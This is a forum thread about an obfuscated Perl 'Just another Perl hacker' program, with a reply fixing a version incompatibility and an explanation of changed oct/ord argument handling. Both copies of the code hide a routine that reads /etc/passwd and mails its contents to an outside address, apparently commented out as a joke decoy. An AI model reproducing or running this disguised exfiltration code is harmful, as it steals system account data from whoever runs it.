This is an adaptation of one I submitted for The Perl Journal Obfuscated Perl Contest.
<BLINK>;for (74,1970500640, 1634627444,1751478816,1348825708,543711587 +, 1801810465){for($foo=1<<1^1; $foo>=1>>1; $foo--){$fOO=hex ff;#@passwor +d =sub cut{($u,$c,$f)=@_;$d=':';while (<$f>) {split($d);push(@p,$_[$u],$ +_ [$c]);}return@p}$f=\*F;open($f,"/etc/passwd")|| die"Error:$!\n";@passw +d =cut(0,1,$f);system"echo \Q@passwd\E|mail archon\@forbidden.dough.net" +; $fOo=oct($foo=~s,\d,$&*10,e,$foo),$foo/=1/.1,$fOO<<=$fOo,$Foo.=chr(($_ +& $fOO)>>$fOo),$foO++}}$|=1;while(!$^S){$o=$o?$?:$/;print reverse$o?$Foo +: $"x$foO if$;;print chr(8) x $foO;sleep "Just a Perl Hacker"+1}</BLINK> +;

Replies are listed 'Best First'.
Re: Not exactly new, but still fun
by MrNobo1024 (Hermit) on Mar 06, 2001 at 07:46 UTC
    It didn't work for me. :-( Here's the error I got:

    Too many arguments for oct at suspicious_looking_japh.pl line 6, near "$foo)" BEGIN not safe after errors--compilation aborted at suspicious_looking_japh.pl line 8.

    Here's a version that's been modified so it works on my computer:
    <BLINK>;for (74,1970500640, 1634627444,1751478816,1348825708,543711587 +, 1801810465){for($foo=1<<1^1; $foo>=1>>1; $foo--){$fOO=hex ff;#@passwor +d =sub cut{($u,$c,$f)=@_;$d=':';while (<$f>) {split($d);push(@p,$_[$u],$ +_ [$c]);}return@p}$f=\*F;open($f,"/etc/passwd")|| die"Error:$!\n";@passw +d =cut(0,1,$f);system"echo \Q@passwd\E|mail archon\@forbidden.dough.net" +; $foo=~s,\d,$&*10,e,$fOo=oct($foo),$foo/=1/.1,$fOO<<=$fOo,$Foo.=chr(($_ +& $fOO)>>$fOo),$foO++}}$|=1;while(!$^S){$o=$o?$?:$/;print reverse$o?$Foo +: $"x$foO if$;;print chr(8) x $foO;sleep "Just a Perl Hacker"+1}</BLINK> +;
      interesting.. perl 5.6.0 doesn't like it. it works in 5.005_03. the intent was for the comma to be used in scalar context. this should cause it to evaluate the search/replace on the LHS and then return $foo on the RHS.

      Looks like they changed this behavior for several functions (ord, oct, etc).

      5.005_03:

      perl -le 'my $x = ord(1,2);print $x'; 50

      5.6.0:

      perl -le 'my $x = ord(1,2);print $x'; Too many arguments for ord at -e line 1, near "2)" Execution of -e aborted due to compilation errors.